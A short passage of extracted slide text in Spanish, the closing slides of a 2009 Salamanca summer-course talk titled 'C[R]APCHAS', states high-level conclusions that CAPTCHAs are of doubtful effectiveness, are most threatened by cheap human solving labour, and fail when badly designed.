  • 50. Conclusiones • Los CAPTCHA son un sistema de eficacia dudable. •El mayor riesgo al que se somete es la mano de obra barata. •Su implantación es compleja y requiere de un análisis profundo. •Un diseño incorrecto puede volver la medida inútil C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 51. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009